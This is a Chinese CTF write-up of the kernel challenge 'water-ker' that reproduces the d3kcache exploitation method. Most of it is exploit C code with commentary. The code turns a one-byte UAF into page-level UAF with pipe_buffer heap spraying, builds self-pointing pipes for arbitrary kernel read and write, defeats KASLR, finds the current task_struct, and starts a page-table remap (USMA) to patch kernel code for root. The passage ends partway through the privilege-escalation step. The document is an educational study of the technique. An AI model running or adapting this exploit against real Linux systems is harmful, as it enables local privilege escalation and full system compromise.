2023 强网拟态 water-ker

第一次在比赛中尝试做kernel题(虽然没做出来),复现来哩~

基本上是抄的D^3CTF2023 d3kcache的exp,学习一下这种利用方法

虽然已经不算速速了但我还是更了(・∀・(・∀・(・∀・)*

pipe_buffer

在pipe系统调用中申请的结构体,用于存放pipe的数据

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

在alloc_pipe_info函数中会申请pipe_buffer(默认16)个pipe_buffer

1
2
3
4
5
struct pipe_inode_info *alloc_pipe_info(void)
{
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
}

在pipe_write中会给pipe_buffer->page申请一个page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct pipe_inode_info *pipe = filp->private_data;
for (;;) {
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;

if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}

buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;

}

close一个pipe会在free_pipe_info释放pipe_buffer,如果一个buf->page的ref为0会在pipe_buf_release中free这个page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void free_pipe_info(struct pipe_inode_info *pipe)
{
unsigned int i;

for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
if (buf->ops)
pipe_buf_release(pipe, buf);
}

if (pipe->tmp_page)
__free_page(pipe->tmp_page);
kfree(pipe->bufs);
kfree(pipe);
}

F_SETPIPE_SZ可以更改pipe_buffer的值达到任意大小分配的目的,在pipe_resize_ring函数中会申请新的pipe_buffer,复制内容并释放原来的pipe_buffer

重新分配的大小是2^order * 0x1000,2^order就是pipe_buffer数组的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
unsigned int head, tail, mask, n;

bufs = kcalloc(nr_slots, sizeof(*bufs),
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
if (unlikely(!bufs))
return -ENOMEM;

if (n > 0) {
unsigned int h = head & mask;
unsigned int t = tail & mask;
if (h > t) {
memcpy(bufs, pipe->bufs + t,
n * sizeof(struct pipe_buffer));
} else {
unsigned int tsize = pipe->ring_size - t;
if (h > 0)
memcpy(bufs + tsize, pipe->bufs,
h * sizeof(struct pipe_buffer));
memcpy(bufs, pipe->bufs + t,
tsize * sizeof(struct pipe_buffer));
}
}

head = n;
tail = 0;

kfree(pipe->bufs);
pipe->bufs = bufs;
pipe->ring_size = nr_slots;
return 0;
}

方法一

漏洞就不说了(ˉ▽ˉ;)…,0x200的chunk,有一次一字节的uaf

构造页级uaf

可以把pipe_buffer分配到uaf的chunk,这样我们就能更改page成员的低字节,一个page结构体是0x40,只要把低字节改成0x40的倍数就可能使两个pipe_buffer->page指向同一个page

再把这个page释放掉我们就获得了一个uaf的page,再把这个page分配给其他的结构体就可以通过pipe管道的性质更改结构体的内容

来看exp

  • 一些准备工作

    1
    2
    3
    4
    5
    save_status();
    bind_core(0);
    fd_water = open("/dev/water", O_RDWR);
    if(fd_water < 0)
    err_exit("Fail to open the device water!");
  • 进行以上利用需要一些pipe_buffer->page是物理相邻的,把order 0的page消耗光就能从更高的order取page并进行分裂,这样就能获得相邻的page了,所以,简单粗暴地开喷!

    • 喷一些pipe_buffer

      1
      2
      3
      4
      5
      6
      7
      8
      9
      puts("[*] spray pipe_buffer...");
      for(int i = 0; i < PIPE_SPRAY_NUM; i++)
      {
      if(pipe(pipe_fd[i]) < 0)
      {
      printf("[x] failed to alloc %d pipe!", i);
      err_exit("FAILED to create pipe!");
      }
      }
    • 分两波更改大小,分两波的原因

      • 后续write的时候会给buffer_pipe->page分配物理页,顺序和现在重新分配buffer_pipe一样
      • 前面分配的page可能不是物理连续的,而利用需要连续的物理页
      • 所以第一波分配先消耗一下不连续的物理页,之后的物理页就是连续的了
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      puts("[*] first extend pipe pages...");
      for(int i = 0; i < PIPE_SPRAY_NUM / 2; i++)
      {
      if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
      {
      printf("[x] failed to extend %d pipe!", i);
      err_exit("FAILED to extend pipe!");
      }
      }

      puts("[*] UAF...");
      add_chunk("Eurus");
      delete_chunk();

      puts("[*] second extend pipe pages...");
      for(int i = PIPE_SPRAY_NUM / 2; i < PIPE_SPRAY_NUM; i++)
      {
      if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0)
      {
      printf("[x] failed to extend %d pipe!", i);
      err_exit("FAILED to extend pipe!");
      }
      }
    • write一波,给pipe_buffer->page分配物理页,写入pipe_fd的编号便于寻找是否成功造成page重叠

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      puts("[*] allocating pipe pages...");
      for(int i = 0; i < PIPE_SPRAY_NUM; i++)
      {
      write(pipe_fd[i][1], "arttnba3", 8);
      write(pipe_fd[i][1], &i, sizeof(int));
      write(pipe_fd[i][1], "arttnba3", 8);
      write(pipe_fd[i][1], &i, sizeof(int));
      write(pipe_fd[i][1], "arttnba3", 8);
      write(pipe_fd[i][1], "arttnba3", 8);
      write(pipe_fd[i][1], "arttnba3", 8);
      }
    • 利用uaf更改pipe_buffer->page的低字节

      1
      2
      puts("[*] edit one...");
      edit_chunk("\x80");
    • 查找是否造成page重叠并确定victim pipe_buffer的序号victim_pid,如果读出的idx和实际的idx不一样则成功

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      puts("[*] checking for corruption...");
      for(int i = 0; i < PIPE_SPRAY_NUM; i++)
      {
      char a3_str[0x10];
      int nr;

      memset(a3_str, '\0', sizeof(a3_str));
      read(pipe_fd[i][0], a3_str, 8);
      read(pipe_fd[i][0], &nr, sizeof(int));
      if(!strcmp(a3_str, "arttnba3") && nr != i)
      {
      orig_pid = nr;
      victim_pid = i;
      printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
      "\033[32m\033[1m, orig: \033[0m%d\n\n",
      victim_pid, orig_pid);
      break;
      }
      }
      if(victim_pid == -1)
      {
      err_exit("Fail to find the orig!");
      }

构造二级自写管道

上文中我们已经有了页级uaf,现在可以用这个页分配结构体进行泄露和结构体改写了,这里依然选择pipe_buffer作为victim结构体

  • kmalloc在对应kmem_cache的slab不够用时会向buddy system申请page做为新的slab,申请的page的order由kmem_cache结构体的oo成员的高16位决定

  • 所以我们需要新的pipe_buffer数组的大小满足对应kmem_cache的oo高16位为0,这样才会将刚才uaf的page取回来作为slab分配,这也就是exp中snd_pipe_sz的计算逻辑,这里选择96的kmem_cache

    1
    2
    #define SND_PIPE_BUF_SZ 96
    size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));

此时我们可以通过第一次uaf获取victim pipe_buffer的内容,泄露victim page的地址

  • 然后再在victim page上造一个uaf,再把victim page分配为pipe_buffer数组

  • 由于我们已经知道了victim page的地址,可以把victim pipe_buffer2->page再指回victim page,我改我自己(

这时就可以修改pipe_buffer的offset和len来控制pipe的读写起始位置(offset是读起始位置,len是写起始位置 - 读起始位置)

1
2
3
4
5
6
7
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

继续exp

我们需要3个这样的self-pointing pipe_buffer

  • 先向victim pipe里写一些数据不然之后无法读取

    1
    2
    3
    4
    size_t buf[0x1000];
    size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
    memset(buf, '\0', sizeof(buf));
    write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 40 - 2*sizeof(int));
  • 制造页级uaf,利用fcntl将pipe_buffer分配到uaf页上

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    puts("[*] free original pipe...");
    close(pipe_fd[orig_pid][0]);
    close(pipe_fd[orig_pid][1]);

    puts("[*] fcntl() to set the pipe_buffer on victim page...");
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    if (i == orig_pid || i == victim_pid)
    {
    continue;
    }

    if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
    printf("[x] failed to resize %d pipe!\n", i);
    err_exit("FAILED to re-alloc pipe_buffer!");
    }
    }
  • 泄露pipe_buffer->page和pipe_buffer->ops

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));
    read(pipe_fd[victim_pid][0], &info_pipe_buf, sizeof(info_pipe_buf));

    printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n"
    "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n",
    info_pipe_buf.page, info_pipe_buf.ops);

    if((size_t) info_pipe_buf.page < 0xffff000000000000 || (size_t) info_pipe_buf.ops < 0xffffffff81000000)
    {
    err_exit("FAILED to re-hit victim page!");
    }

    puts("\033[32m\033[1m[+] Successfully to hit the UAF page!\033[0m");
    printf("\033[32m\033[1m[+] Got page leak:\033[0m %p\n", info_pipe_buf.page);

    解释一下读写数据量的计算,先是read

    • 由于之前已经读取了8+4字节用于判断page重叠是否成功,所以此时offset为12,想要读取在pipe_buffer结构体开始的成员就只能读取下一个slab-96的pipe_buffer

    • 所以要先读取96-8-4字节才能读到第二个slab-96的pipe_buffer

      1
      read(pipe_fd[victim_pid][0], buf, SND_PIPE_BUF_SZ - 8 - sizeof(int));

    再解释一下write的数据量计算

    • 由于write的偏移一定在read之后,所以要想更改pipe_buffer只能改第三个slab-96的piipe_buffer(前两个用于read了)

    • 之前已经向pipe中写入了8 * 5 + 4 * 2字节,所以要先write这么多👇字节来保证此时write的偏移位于第三个slab-96的pipe_buffer

      1
      write(pipe_fd[victim_pid][1], buf, SND_PIPE_BUF_SZ*2 - 40 - 2*sizeof(int));
  • 更改pipe_buffer->page制造第二个uaf,并确定victim pipe_buffer的序号snd_vicitm_pid

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    puts("[*] construct a second-level uaf pipe page...");
    info_pipe_buf.page = (struct page*)((size_t) info_pipe_buf.page + 0x40);
    write(pipe_fd[victim_pid][1], &info_pipe_buf, sizeof(info_pipe_buf));
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    char a3_str[0x10];
    int nr;
    memset(a3_str, '\0', sizeof(a3_str));
    if(i == orig_pid || i == victim_pid)
    {
    continue;
    }
    read(pipe_fd[i][0], a3_str, 8);
    read(pipe_fd[i][0], &nr, sizeof(int));
    if(nr < PIPE_SPRAY_NUM && i != nr)
    {
    snd_orig_pid = nr;
    snd_vicitm_pid = i;
    printf("\033[32m\033[1m[+] Found second-level victim: \033[0m%d "
    "\033[32m\033[1m, orig: \033[0m%d\n",
    snd_vicitm_pid, snd_orig_pid);
    break;
    }
    }
    if(snd_vicitm_pid == -1)
    {
    err_exit("FAILED to corrupt second-level pipe_buffer!");
    }

进入眼花缭乱的阶段(ˉ▽ˉ;)…,building_self_writing_pipe

  • 我们要再次将uaf的page分配为pipe_buffer,这次选择slab-192,逻辑与上次一致

    1
    2
    3
    4
    5
    6
    size_t buf[0x1000];
    size_t trd_pipe_sz = 0x1000 * (TRD_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
    struct pipe_buffer evil_pipe_buf;
    struct page *page_ptr;

    memset(buf, 0, sizeof(buf));

    这次我们要改写第二个slab-192的pipe_buffer(之前已写入40 + 2 * 4字节)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    /* let the page's ptr at pipe_buffer */
    write(pipe_fd[snd_vicitm_pid][1], buf, TRD_PIPE_BUF_SZ - 40 - 2*sizeof(int));

    /* free orignal pipe's page */
    puts("[*] free second-level original pipe...");
    close(pipe_fd[snd_orig_pid][0]);
    close(pipe_fd[snd_orig_pid][1]);

    /* try to rehit victim page by reallocating pipe_buffer */
    puts("[*] fcntl() to set the pipe_buffer on second-level victim page...");
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    if(i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid)
    {
    continue;
    }

    if(fcntl(pipe_fd[i][1], F_SETPIPE_SZ, trd_pipe_sz) < 0)
    {
    printf("[x] failed to resize %d pipe!\n", i);
    err_exit("FAILED to re-alloc pipe_buffer!");
    }
    }
  • 更改第二个slab-192的pipe_buffer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    /* let a pipe->bufs pointing to itself */
    puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
    evil_pipe_buf.page = info_pipe_buf.page;
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.ops = info_pipe_buf.ops;
    evil_pipe_buf.flags = info_pipe_buf.flags;
    evil_pipe_buf.private = info_pipe_buf.private;

    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
  • 检查劫持是否成功(根据pipe_buffer->page),确定第一个self-pointing pipe_buffer序号self_2nd_pipe_pid

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    /* check for third-level victim pipe */
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid)
    {
    continue;
    }

    read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
    if(page_ptr == evil_pipe_buf.page)
    {
    self_2nd_pipe_pid = i;
    printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n",
    self_2nd_pipe_pid);
    break;
    }
    }

    if(self_2nd_pipe_pid == -1)
    {
    err_exit("FAILED to build a self-writing pipe!");
    }
  • 获得第二个self-pointing pipe_buffer,确定序号self_3rd_pipe_pid,这时更改的是第三个slab-192的pipe_buffer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    /* overwrite the 3rd pipe_buffer to this page too */
    puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    if (i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid)
    {
    continue;
    }

    read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
    if(page_ptr == evil_pipe_buf.page)
    {
    self_3rd_pipe_pid = i;
    printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
    "%d\n", self_3rd_pipe_pid);
    break;
    }
    }

    if(self_3rd_pipe_pid == -1)
    {
    err_exit("FAILED to build a self-writing pipe!");
    }
  • 获得第三个self-pointing pipe_buffer,确定序号self_4th_pipe_pid,这时更改的是第四个slab-192的pipe_buffer

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    /* overwrite the 4th pipe_buffer to this page too */
    puts("[*] hijacking the 4th pipe_buffer on page to itself...");
    evil_pipe_buf.offset = TRD_PIPE_BUF_SZ;
    evil_pipe_buf.len = TRD_PIPE_BUF_SZ;

    write(pipe_fd[snd_vicitm_pid][1],buf,TRD_PIPE_BUF_SZ-sizeof(evil_pipe_buf));
    write(pipe_fd[snd_vicitm_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for(int i = 0; i < PIPE_SPRAY_NUM; i++)
    {
    if(i == orig_pid || i == victim_pid || i == snd_orig_pid || i == snd_vicitm_pid || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid)
    {
    continue;
    }

    read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
    if(page_ptr == evil_pipe_buf.page)
    {
    self_4th_pipe_pid = i;
    printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
    "%d\n", self_4th_pipe_pid);
    break;
    }
    }

    if (self_4th_pipe_pid == -1) {
    err_exit("FAILED to build a self-writing pipe!");
    }
  • 以上过程大部分pipe需要读取2次8字节字符串+4字节序号,三次8字节指针,所以最开始需要这么write👇

    1
    2
    3
    4
    5
    6
    7
    write(pipe_fd[i][1], "arttnba3", 8);
    write(pipe_fd[i][1], &i, sizeof(int));
    write(pipe_fd[i][1], "arttnba3", 8);
    write(pipe_fd[i][1], &i, sizeof(int));
    write(pipe_fd[i][1], "arttnba3", 8);
    write(pipe_fd[i][1], "arttnba3", 8);
    write(pipe_fd[i][1], "arttnba3", 8);

ps:因为开启了Random freelist,所以获取的self-pointing pipe_buffer的序号可能不是连续的

任意读写

现在我们有三个self-pointing pipe_buffer

  • 第一个管道用以进行内存空间中的任意读写,我们通过修改其 page 指针完成
  • 第二个管道用以修改第三个管道,使其写入的起始位置指向第一个管道
  • 第三个管道用以修改第一个与第二个管道,使得第一个管道的 pipe 指针指向指定位置,第二个管道的写入起始位置指向第三个管道

继续exp

  • 先调用setup_evil_pipe进行一些初始化

    • 先进行一些覆盖

      1
      2
      3
      memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
      memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
      memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));
    • 第一个管道用于进行任意读写,先将read初始化为页开始,write初始化为页尾

      1
      2
      evil_2nd_buf.offset = 0;
      evil_2nd_buf.len = 0xff0;
    • 第二个管道用于修改第三个管道,所以利用第三个管道修改第二个管道,read,write都指向第三个管道(初始化时第三个管道的read指向第一个管道,write指向第二个管道)

      1
      2
      3
      evil_3rd_buf.offset = TRD_PIPE_BUF_SZ * 3;
      evil_3rd_buf.len = 0;
      write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
    • 第三个管道用于修改第一第二个管道,所以write,read都指向第一个管道(在每次任意读写时初始化)

      1
      2
      evil_4th_buf.offset = TRD_PIPE_BUF_SZ;
      evil_4th_buf.len = 0;
  • 初始化完毕就可以任意读写了,先是读arbitrary_read_by_pipe

    • 书接上回,每次任意读写的时候要使用pipe2初始化pipe3

      1
      2
      /* hijack the 4th pipe pointing to 2nd pipe */
      write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));
    • 使用pipe3修改pipe1,指向要读写的页并初始化read指向页开始

      1
      2
      3
      4
      5
      6
      7
      /* page to read */
      evil_2nd_buf.offset = 0;
      evil_2nd_buf.len = 0x1ff8;
      evil_2nd_buf.page = page_to_read;

      /* hijack the 2nd pipe for arbitrary read */
      write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));

      接下来的write是为了跳过pipe1,准备修改pipe2

      1
      2
      3
      write(pipe_fd[self_4th_pipe_pid][1], 
      temp_zero_buf,
      TRD_PIPE_BUF_SZ-sizeof(evil_2nd_buf));
    • 最开始pipe2用于初始化pipe3了,这里使用pipe3把pipe2再改回去

      1
      2
      /* hijack the 3rd pipe to point to 4th pipe */
      write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));
    • 最终目的——把数据读出来

      1
      2
      /* read out data */
      read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff);
  • 任意写arbitrary_write_by_pipe和任意读思路一致(除了pipe1的write的指向)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
    {
    /* page to write */
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1],
    temp_zero_buf,
    TRD_PIPE_BUF_SZ - sizeof(evil_2nd_buf));

    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* write data into dst page */
    write(pipe_fd[self_2nd_pipe_pid][1], src, len);
    }

任意读写设计思路

到利用uaf泄露page这一步都是惯常操作

  • self-pointing:要达成任意页读写首先我们要能够更改page指针,要更改page指针就要知道pipe_buffer地址再让page指向pipe_buffer……听起来很像死循环(ˉ▽ˉ;)…

    但由于我们已经泄露了一个page地址,所以让这个page上的pipe_buffer->page指向自己就能解决以上问题

  • 三个pipe的更改类似于一个这样的循环

    • 首先需要一个更改pipe1->page的pipe3
    • 还需要一个将pipe3复原的pipe2
    • pipe2还需要复原(又双叒叕循环了(ˉ▽ˉ;)…),由于pipe3处于高物理地址处所以可以一口气完成更改pipe1和pipe2的任务
  • 所以大概一个过程就是

    • pipe2复原pipe3
    • pipe3更改pipe1指向要读写的page
    • pipe3复原pipe2

地址泄露

需要获得两个基址:vmemmap基址和kernel基址

  • vmemmap

    • 在内存大于1G时,KASLR的粒度是256MB(0x10000000),我们可以通过存在物理地址physmem_base + 0x9d000(vmemmap[157])处的secondary_startup_64函数指针判断是否找到了kernel基址
    • 由于我们之前已经有了一个page的地址,我们可以先将这个page的地址256MB对齐作为vmemmap基址,如果vmemmap[157]处有secondary_startup_64函数指针则基址正确,否则vmemmap-=256MB,继续
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    size_t *comm_addr;

    memset(buf, 0, sizeof(buf));

    puts("[*] Setting up kernel arbitrary read & write...");
    setup_evil_pipe();

    vmemmap_base = (size_t) info_pipe_buf.page & 0xfffffffff0000000;
    for (;;) {
    arbitrary_read_by_pipe((struct page*) (vmemmap_base + 157 * 0x40), buf);

    if (buf[0] > 0xffffffff81000000 && ((buf[0] & 0xfff) == 0xe0)) {
    kernel_base = buf[0] - 0xe0;
    kernel_offset = kernel_base - 0xffffffff81000000;
    printf("\033[32m\033[1m[+] Found kernel base: \033[0m0x%lx\n"
    "\033[32m\033[1m[+] Kernel offset: \033[0m0x%lx\n",
    kernel_base, kernel_offset);
    break;
    }

    vmemmap_base -= 0x10000000;
    }
    printf("\033[32m\033[1m[+] vmemmap_base:\033[0m 0x%lx\n\n", vmemmap_base);

    ps:关于kaslr的所有内容都是根据注释来的,不清楚原理,感觉要研究原理又要开始系统启动了捏~( ̄▽ ̄)~*

  • current task_struct

    • task_struct结构体有一个comm成员会记录进程的名称,是一个十六字节的字符数组

      1
      2
      3
      struct task_struct {
      char comm[16]; /* 2960 16 */
      }
    • prctl系统调用可以修改进程的名称,这个进程名之后会作为内存搜索的目标来定位task_struct

      1
      2
      3
      4
      /* now seeking for the task_struct in kernel memory */
      puts("[*] Seeking task_struct in memory...");

      prctl(PR_SET_NAME, "arttnba3pwnn");
    • 搜索comm,并根据comm定位task_struct,task_struct的ptraced指针是指向自己的,这样我们就能获取task_struct的地址

      因为task_struct是存在直接映射区(heap)上的,且在内存小于256M时heap_base = heap_leak & 0xfffffffff0000000,这样我们就能获得直接heap基址

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      for (int i = 0; 1; i++) {
      arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);

      comm_addr = memmem(buf, 0xf00, "arttnba3pwnn", 12);
      if (comm_addr && (comm_addr[-2] > 0xffff888000000000) /* task->cred */
      && (comm_addr[-3] > 0xffff888000000000) /* task->real_cred */
      && (comm_addr[-61] > 0xffff888000000000) /* task->read_parent */
      && (comm_addr[-60] > 0xffff888000000000)) { /* task->parent */

      /* task->read_parent */
      parent_task = comm_addr[-61];

      /* task_struct::ptraced */
      current_task = comm_addr[-54] - 2528;

      page_offset_base = (comm_addr[-54]&0xfffffffffffff000) - i * 0x1000;
      page_offset_base &= 0xfffffffff0000000;

      printf("\033[32m\033[1m[+] Found task_struct on page: \033[0m%p\n",
      (struct page*) (vmemmap_base + i * 0x40));
      printf("\033[32m\033[1m[+] page_offset_base: \033[0m0x%lx\n",
      page_offset_base);
      printf("\033[34m\033[1m[*] current task_struct's addr: \033[0m"
      "0x%lx\n\n", current_task);
      break;
      }
      }

提权

三种提权方法

USMA

考虑直接更改内核代码段(○´・д・)ノ

但直接映射区对应的代码段区域没有w权限,直接写入会造成kernel panic

改写代码段本质上是向对应的物理页写入数据,上文我们已经获得了task_struct的地址,我们可以考虑更改进程页表建立一个到内核代码段的映射,这样就能改写了:)

方便起见先mmap一段地址,再改写这段地址的页表,这就是usma \ ^o^ /

  • 先说明一下这个地址转换函数direct_map_addr_to_page_addr,用于将直接映射区的地址转化为所属页的page结构体地址(page_offset_base是直接映射区基址)

    1
    2
    3
    4
    5
    6
    7
    8
    size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
    {
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;

    return vmemmap_base + page_count * 0x40;
    }
  • 先调用pgd_vaddr_resolve找页表地址

    • 从task_struct所在页读取内容(读两页),并获取mm和stack的地址,定位mm_struct所在的页

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      puts("[*] Reading current task_struct...");

      /* read current task_struct */
      current_task_page = direct_map_addr_to_page_addr(current_task);
      arbitrary_read_by_pipe((struct page*) current_task_page, buf);
      arbitrary_read_by_pipe((struct page*) (current_task_page+0x40), &buf[512]);

      tsk_buf = (size_t*) ((size_t) buf + (current_task & 0xfff));
      stack_addr = tsk_buf[4] + 0x3000;
      mm_struct_addr = tsk_buf[292];

      printf("\033[34m\033[1m[*] kernel stack's addr:\033[0m0x%lx\n",stack_addr);
      printf("\033[34m\033[1m[*] mm_struct's addr:\033[0m0x%lx\n",mm_struct_addr);

      mm_struct_page = direct_map_addr_to_page_addr(mm_struct_addr);

      printf("\033[34m\033[1m[*] mm_struct's page:\033[0m0x%lx\n",mm_struct_page);
    • 读mm_struct,定位页表pgd

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      /* read mm_struct */
      arbitrary_read_by_pipe((struct page*) mm_struct_page, buf);
      arbitrary_read_by_pipe((struct page*) (mm_struct_page+0x40), &buf[512]);

      mm_struct_buf = (size_t*) ((size_t) buf + (mm_struct_addr & 0xfff));

      /* only this is a virtual addr, others in page table are all physical addr*/
      pgd_addr = mm_struct_buf[9];

      printf("\033[32m\033[1m[+] Got kernel page table of current task:\033[0m"
      "0x%lx\n\n", pgd_addr);
  • mmap一段内存并且先往里面写点东西,因为mmap不会先分配内存页,第一次写入才会分配内存页,需要两页

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #define NS_CAPABLE_SETID 0xffffffff810eab50

    char *kcode_map, *kcode_func;
    size_t dst_paddr, dst_vaddr, *rop, idx = 0;

    kcode_map = mmap((void*) 0x114514000, 0x2000, PROT_READ | PROT_WRITE,
    MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    if (!kcode_map) {
    err_exit("FAILED to create mmap area!");
    }

    /* because of lazy allocation, we need to write it manually */
    for (int i = 0; i < 8; i++) {
    kcode_map[i] = "arttnba3"[i];
    kcode_map[i + 0x1000] = "arttnba3"[i];
    }

    要更改的目标函数是ns_capable_setid,这里计算的是虚拟地址

    1
    2
    3
    4
    /* overwrite kernel code seg to exec shellcode directly :) */
    dst_vaddr = NS_CAPABLE_SETID + kernel_offset;
    printf("\033[34m\033[1m[*] vaddr of ns_capable_setid is: \033[0m0x%lx\n",
    dst_vaddr);
  • 接下来就是调用vaddr_resolve_for_3_level查找ns_capable_setid对应的页表项,因为进程的页表也映射了内核空间

    1
